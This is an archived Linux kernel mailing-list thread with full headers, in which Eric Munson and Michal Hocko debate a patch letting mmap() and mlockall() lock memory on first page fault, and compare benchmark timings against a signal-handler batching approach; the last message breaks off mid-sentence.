X-Gm-Message-State: ALoCoQm/UJnIS3AXZUQrxe9SLIdhw2jEvKTA78NS09PmJtly+xjSAFLpT2vD+ftZXse4zdTayUXrzWkze68W++tHXeUaBiQXA1PN2ni1RPXgKA04yGHfHFe5dpigTeNV8qmEqbu1A+IAWoZhqF6DwTvdRXvHcYNpsbIbbXvQDO6KcY4zUKapu95fnWw+E8VXptw/ELWXUbbO
X-Received: by 10.66.63.9 with SMTP id c9mr23864592pas.40.1431529238154;
        Wed, 13 May 2015 08:00:38 -0700 (PDT)
X-Received: by 10.66.63.9 with SMTP id c9mr23864501pas.40.1431529237470;
        Wed, 13 May 2015 08:00:37 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id or3si27470975pdb.190.2015.05.13.08.00.37
        for <linux-mm@kvack.org>;
        Wed, 13 May 2015 08:00:37 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 8B6042855D;
	Wed, 13 May 2015 15:00:36 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 69C942861F;
	Wed, 13 May 2015 15:00:36 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 5CF1380079;
	Wed, 13 May 2015 15:00:36 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150511180631.GA1227@akamai.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:132668 gmane.linux.ports.alpha:3081 gmane.linux.kernel:1952657 gmane.linux.ports.mips.general:48525 gmane.linux.ports.parisc:25731 gmane.linux.ports.ppc64.devel:112947 gmane.linux.ports.sparc:21026 gmane.linux.kernel.cross-arch:27702 gmane.linux.kernel.api:11048
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/132668>


--df+09Je9rNq3P+GE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 11 May 2015, Eric B Munson wrote:

> On Fri, 08 May 2015, Andrew Morton wrote:
>=20
> > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com> w=
rote:
> >=20
> > > mlock() allows a user to control page out of program memory, but this
> > > comes at the cost of faulting in the entire mapping when it is
> > > allocated.  For large mappings where the entire area is not necessary
> > > this is not ideal.
> > >=20
> > > This series introduces new flags for mmap() and mlockall() that allow=
 a
> > > user to specify that the covered are should not be paged out, but only
> > > after the memory has been used the first time.
> >=20
> > Please tell us much much more about the value of these changes: the use
> > cases, the behavioural improvements and performance results which the
> > patchset brings to those use cases, etc.
> >=20
>=20
> To illustrate the proposed use case I wrote a quick program that mmaps
> a 5GB file which is filled with random data and accesses 150,000 pages
> from that mapping.  Setup and processing were timed separately to
> illustrate the differences between the three tested approaches.  the
> setup portion is simply the call to mmap, the processing is the
> accessing of the various locations in  that mapping.  The following
> values are in milliseconds and are the averages of 20 runs each with a
> call to echo 3 > /proc/sys/vm/drop_caches between each run.
>=20
> The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a baseline:
> Startup average:    9476.506
> Processing average: 3.573
>=20
> The second mapping was simply MAP_PRIVATE but each page was passed to
> mlock() before being read:
> Startup average:    0.051
> Processing average: 721.859
>=20
> The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
> Startup average:    0.084
> Processing average: 42.125
>=20

Michal's suggestion of changing protections and locking in a signal
handler was better than the locking as needed, but still significantly
more work required than the LOCKONFAULT case.

Startup average:    0.047
Processing average: 86.431


--df+09Je9rNq3P+GE
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVU2cUAAoJELbVsDOpoOa9baQQANJIi9hDC0B5PmZg1n740+8X
5w7lzvAiDqRYi4/xYMjtx55l9M/YpTlnEuCPHUjEUvQvpxALWGSTYmcJ6cNx47Gh
/BHWrTr4oedPg23icayje+QC/DKF10OT/qBx/ep/+J4nEEZnbBQmk5Ce2EbjVCDm
4Xs3RjSeD9cWAOoHTsN2oqerZSM+DlqGU0Q2mWu10VM6usItc1oWk6U/gpD/26tE
lfMslp8jsECGvLmd4Zkj44HifD36pI0InaSKeBLrUCAe8W6qvhCuIaKRdOn00lgZ
CcUfQsK0c/7aYOZDm5CM4EUm+F8ee0mJV19qDMOm5rU9IrFZ4zj6rzRUHQ5OHcFH
mLxWm6wtqxYSapbWkYhiMei6lzDeMi0aL9BHKnzktgABBO1rwgNwPTlmwIWZcyPz
GWtxOw2oQZ6NqfGp9p3s677z2yicYQEJtEsvGrj5RVCUiXOwcRbQ0qNn8hF/6DrV
Xpk/cL6Zr9g8Klh/tLSN1CTXkcvGU6Poc83MLqf7DWmoKB86izb6MLoV4l5ckfyQ
s3nDQ6IJHOM3LaHIxeHj3FjHABx/lzwN22sKeRhsDduqiYUq3Y0i2J39ujXbZeUl
VlZ37T447uyO+nDgvg27P4MVsQlYYqt/vMmZ/a1NJdDXkzQU5RYpEmIeX/Z1Rifz
2Mean0e41gkDsd0BkxJb
=mszX
-----END PGP SIGNATURE-----

--df+09Je9rNq3P+GE--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Thu, 14 May 2015 10:08:12 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20150514080812.GC6433@dhcp22.suse.cz>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150511180631.GA1227@akamai.com>
 <20150513150036.GG1227@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1431590905 7967 80.91.229.3 (14 May 2015 08:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2015 08:08:25 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu May 14 10:08:24 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1YsoBq-0006AO-52
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 14 May 2015 10:08:22 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751892AbbENIIT (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Thu, 14 May 2015 04:08:19 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:53492 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751752AbbENIIP (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 14 May 2015 04:08:15 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id D014FAAC7;
	Thu, 14 May 2015 08:08:12 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20150513150036.GG1227-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:11093 gmane.linux.ports.alpha:3083 gmane.linux.kernel:1953285 gmane.linux.ports.mips.general:48543 gmane.linux.ports.parisc:25732 gmane.linux.ports.ppc64.devel:113013 gmane.linux.ports.sparc:21029 gmane.linux.kernel.mm:132696 gmane.linux.kernel.cross-arch:27720
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/11093>

On Wed 13-05-15 11:00:36, Eric B Munson wrote:
> On Mon, 11 May 2015, Eric B Munson wrote:
> 
> > On Fri, 08 May 2015, Andrew Morton wrote:
> > 
> > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org> wrote:
> > > 
> > > > mlock() allows a user to control page out of program memory, but this
> > > > comes at the cost of faulting in the entire mapping when it is
> > > > allocated.  For large mappings where the entire area is not necessary
> > > > this is not ideal.
> > > > 
> > > > This series introduces new flags for mmap() and mlockall() that allow a
> > > > user to specify that the covered are should not be paged out, but only
> > > > after the memory has been used the first time.
> > > 
> > > Please tell us much much more about the value of these changes: the use
> > > cases, the behavioural improvements and performance results which the
> > > patchset brings to those use cases, etc.
> > > 
> > 
> > To illustrate the proposed use case I wrote a quick program that mmaps
> > a 5GB file which is filled with random data and accesses 150,000 pages
> > from that mapping.  Setup and processing were timed separately to
> > illustrate the differences between the three tested approaches.  the
> > setup portion is simply the call to mmap, the processing is the
> > accessing of the various locations in  that mapping.  The following
> > values are in milliseconds and are the averages of 20 runs each with a
> > call to echo 3 > /proc/sys/vm/drop_caches between each run.
> > 
> > The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a baseline:
> > Startup average:    9476.506
> > Processing average: 3.573
> > 
> > The second mapping was simply MAP_PRIVATE but each page was passed to
> > mlock() before being read:
> > Startup average:    0.051
> > Processing average: 721.859
> > 
> > The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
> > Startup average:    0.084
> > Processing average: 42.125
> > 
> 
> Michal's suggestion of changing protections and locking in a signal
> handler was better than the locking as needed, but still significantly
> more work required than the LOCKONFAULT case.
> 
> Startup average:    0.047
> Processing average: 86.431

Have you played with batching? Has it helped? Anyway it is to be
expected that the overhead will be higher than a single mmap call. The
question is whether you can live with it because adding a new semantic
to mlock sounds trickier and MAP_LOCKED is tricky enough already...

-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Thu, 14 May 2015 09:58:35 -0400
Lines: 113
Approved: news@gmane.org
Message-ID: <20150514135835.GH1227@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150511180631.GA1227@akamai.com>
 <20150513150036.GG1227@akamai.com>
 <20150514080812.GC6433@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="fd5uyaI9j6xoeUBo"
X-Trace: ger.gmane.org 1431611923 25969 80.91.229.3 (14 May 2015 13:58:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 May 2015 13:58:43 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu May 14 15:58:42 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Yster-0006CD-Bg
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 14 May 2015 15:58:41 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933531AbbENN6i (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Thu, 14 May 2015 09:58:38 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:60726 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933314AbbENN6g (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 14 May 2015 09:58:36 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 95FA9286D7;
	Thu, 14 May 2015 13:58:35 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 7E9E7286D6;
	Thu, 14 May 2015 13:58:35 +0000 (GMT)
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 787BB207E;
	Thu, 14 May 2015 13:58:35 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150514080812.GC6433-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:11106 gmane.linux.ports.alpha:3084 gmane.linux.kernel:1953518 gmane.linux.ports.mips.general:48549 gmane.linux.ports.parisc:25733 gmane.linux.ports.ppc64.devel:113026 gmane.linux.ports.sparc:21031 gmane.linux.kernel.mm:132723 gmane.linux.kernel.cross-arch:27733
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/11106>


--fd5uyaI9j6xoeUBo
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 14 May 2015, Michal Hocko wrote:

> On Wed 13-05-15 11:00:36, Eric B Munson wrote:
> > On Mon, 11 May 2015, Eric B Munson wrote:
> >=20
> > > On Fri, 08 May 2015, Andrew Morton wrote:
> > >=20
> > > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson-JqFfY2XvxFVhl2p70BpVqQ@public.gmane.org=
m> wrote:
> > > >=20
> > > > > mlock() allows a user to control page out of program memory, but =
this
> > > > > comes at the cost of faulting in the entire mapping when it is
> > > > > allocated.  For large mappings where the entire area is not neces=
sary
> > > > > this is not ideal.
> > > > >=20
> > > > > This series introduces new flags for mmap() and mlockall() that a=
llow a
> > > > > user to specify that the covered are should not be paged out, but=
 only
> > > > > after the memory has been used the first time.
> > > >=20
> > > > Please tell us much much more about the value of these changes: the=
 use
> > > > cases, the behavioural improvements and performance results which t=
he
> > > > patchset brings to those use cases, etc.
> > > >=20
> > >=20
> > > To illustrate the proposed use case I wrote a quick program that mmaps
> > > a 5GB file which is filled with random data and accesses 150,000 pages
> > > from that mapping.  Setup and processing were timed separately to
> > > illustrate the differences between the three tested approaches.  the
> > > setup portion is simply the call to mmap, the processing is the
> > > accessing of the various locations in  that mapping.  The following
> > > values are in milliseconds and are the averages of 20 runs each with a
> > > call to echo 3 > /proc/sys/vm/drop_caches between each run.
> > >=20
> > > The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a baselin=
e:
> > > Startup average:    9476.506
> > > Processing average: 3.573
> > >=20
> > > The second mapping was simply MAP_PRIVATE but each page was passed to
> > > mlock() before being read:
> > > Startup average:    0.051
> > > Processing average: 721.859
> > >=20
> > > The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
> > > Startup average:    0.084
> > > Processing average: 42.125
> > >=20
> >=20
> > Michal's suggestion of changing protections and locking in a signal
> > handler was better than the locking as needed, but still significantly
> > more work required than the LOCKONFAULT case.
> >=20
> > Startup average:    0.047
> > Processing average: 86.431
>=20
> Have you played with batching? Has it helped? Anyway it is to be
> expected that the overhead will be higher than a single mmap call. The
> question is whether you can live with it because adding a new semantic
> to mlock sounds trickier and MAP_LOCKED is tricky enough already...
>=20

The test code I have been using is a pathalogical test case that only
touches pages once and they are fairly far apart.

On the face batching sounds like a good idea, but I have a couple of
questions.  In order to batch fault in pages the seg fault handler needs
to know about the mapping in question.  Specifically it needs to know
where it ends so that it doesn't try and mprotect()/mlock() past the
end.  So now the program has to start tracking its maps in some globally
accessible structure and this sounds more like implementing memory
management in userspace.  How could this batching be implemented without
requiring the signal handler to know about mapping that is being
accessed?  Also, how much memory management policy is it reasonable to
expect user space to implement in these cases?

Eric


--fd5uyaI9j6xoeUBo
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVVKoLAAoJELbVsDOpoOa90wkQANW2KnooZXzzNUTsJw2B/QTN
YVIypMnzYWbm6PiOrXWmLEYy2WkkhZRFsFfrtj0qXNqj1JHI2l+ziyx0SEAeK6LZ
aN2/wL8E/uogVP0E8ti06hnkYdmq0AvwHujH3txHVK49wYl/q/X39tf2VxJBA1Ei
At3JVQ12OymEmzpsnttij1X6uTQQwzaXV/mgeNAk9TYxvj6IWmvkqhrvxBQQpfec
7yllbH2CWoWRxuhf+mc3R+LX2Vqz14nV0aWSDhIOSO+K+n5LVqBNrLKhKipnqPxQ
AID/yjBbZuXz/5RP+WddtFk1DwU25f9GyGzXhiq6tiLnayqmaL1vV61E1wkcsspA
CuS8+jmPcUJvNaiHP9126qTzTVybsz8vtJaZkNSM8Vp2RMrtQvODHuQYBBTClrqd
35PF/frytzOeEuqpP/Z0kwW/XnNGvcSC2wqM2Gmirn0QK7GsoEHqWRpvuFEcau1j
/beVWrq6anUmD5PB3RgWb58XP6Q5iQOFbNI8mHHnqZQg2RIMjujJ+f1pXt3bwVJ3
oZFLALVs9xvy5rDYyFnSVRs4iVEhn2tGdi/mW/oypHyfDsLHX+FhzSuvYCfocGq6
2jHlCcmQ1osDn8SXNf9bZpp0U0J18YRxV3fj2MHb8MDp9f7aaSr7oIrrZ2A/Zr6G
0b6iQjK20eFmcy4ranev
=Fok5
-----END PGP SIGNATURE-----

--fd5uyaI9j6xoeUBo--

From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Fri, 15 May 2015 11:35:50 -0400
Lines: 147
Approved: news@gmane.org
Message-ID: <20150515153550.GA2454@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150511180631.GA1227@akamai.com>
 <20150513150036.GG1227@akamai.com>
 <20150514080812.GC6433@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="UugvWAfsgieZRqgk"
X-Trace: ger.gmane.org 1431704159 31174 80.91.229.3 (15 May 2015 15:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 May 2015 15:35:59 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: sparclinux-owner@vger.kernel.org Fri May 15 17:35:58 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1YtHeW-00009o-AJ
	for lnx-sparclinux@plane.gmane.org; Fri, 15 May 2015 17:35:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1945957AbbEOPfy (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Fri, 15 May 2015 11:35:54 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:54527 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934660AbbEOPfv (ORCPT
	<rfc822;sparclinux@vger.kernel.org>);
	Fri, 15 May 2015 11:35:51 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 8B774286F4;
	Fri, 15 May 2015 15:35:50 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 757F9285EC;
	Fri, 15 May 2015 15:35:50 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 5D9B0800E7;
	Fri, 15 May 2015 15:35:50 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150514080812.GC6433@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21035 gmane.linux.ports.alpha:3085 gmane.linux.kernel:1954582 gmane.linux.ports.mips.general:48559 gmane.linux.ports.parisc:25734 gmane.linux.ports.ppc64.devel:113105 gmane.linux.kernel.mm:132814 gmane.linux.kernel.cross-arch:27748 gmane.linux.kernel.api:11197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21035>


--UugvWAfsgieZRqgk
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 14 May 2015, Michal Hocko wrote:

> On Wed 13-05-15 11:00:36, Eric B Munson wrote:
> > On Mon, 11 May 2015, Eric B Munson wrote:
> >=20
> > > On Fri, 08 May 2015, Andrew Morton wrote:
> > >=20
> > > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.co=
m> wrote:
> > > >=20
> > > > > mlock() allows a user to control page out of program memory, but =
this
> > > > > comes at the cost of faulting in the entire mapping when it is
> > > > > allocated.  For large mappings where the entire area is not neces=
sary
> > > > > this is not ideal.
> > > > >=20
> > > > > This series introduces new flags for mmap() and mlockall() that a=
llow a
> > > > > user to specify that the covered are should not be paged out, but=
 only
> > > > > after the memory has been used the first time.
> > > >=20
> > > > Please tell us much much more about the value of these changes: the=
 use
> > > > cases, the behavioural improvements and performance results which t=
he
> > > > patchset brings to those use cases, etc.
> > > >=20
> > >=20
> > > To illustrate the proposed use case I wrote a quick program that mmaps
> > > a 5GB file which is filled with random data and accesses 150,000 pages
> > > from that mapping.  Setup and processing were timed separately to
> > > illustrate the differences between the three tested approaches.  the
> > > setup portion is simply the call to mmap, the processing is the
> > > accessing of the various locations in  that mapping.  The following
> > > values are in milliseconds and are the averages of 20 runs each with a
> > > call to echo 3 > /proc/sys/vm/drop_caches between each run.
> > >=20
> > > The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a baselin=
e:
> > > Startup average:    9476.506
> > > Processing average: 3.573
> > >=20
> > > The second mapping was simply MAP_PRIVATE but each page was passed to
> > > mlock() before being read:
> > > Startup average:    0.051
> > > Processing average: 721.859
> > >=20
> > > The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
> > > Startup average:    0.084
> > > Processing average: 42.125
> > >=20
> >=20
> > Michal's suggestion of changing protections and locking in a signal
> > handler was better than the locking as needed, but still significantly
> > more work required than the LOCKONFAULT case.
> >=20
> > Startup average:    0.047
> > Processing average: 86.431
>=20
> Have you played with batching? Has it helped? Anyway it is to be
> expected that the overhead will be higher than a single mmap call. The
> question is whether you can live with it because adding a new semantic
> to mlock sounds trickier and MAP_LOCKED is tricky enough already...
>=20

I reworked the experiment to better cover the batching solution.  The
same 5GB data file is used, however instead of 150,000 accesses at
regular intervals, the test program now does 15,000,000 accesses to
random pages in the mapping.  The rest of the setup remains the same.

mmap with MAP_LOCKED:
Setup avg:      11821.193
Processing avg: 3404.286

mmap with mlock() before each access:
Setup avg:      0.054
Processing avg: 34263.201

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.050
Processing avg: 67690.625

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.098
Processing avg: 37344.197

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.0548
Processing avg: 29295.669

mmap with MAP_LOCKONFAULT:
Setup avg:      0.073
Processing avg: 18392.136

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
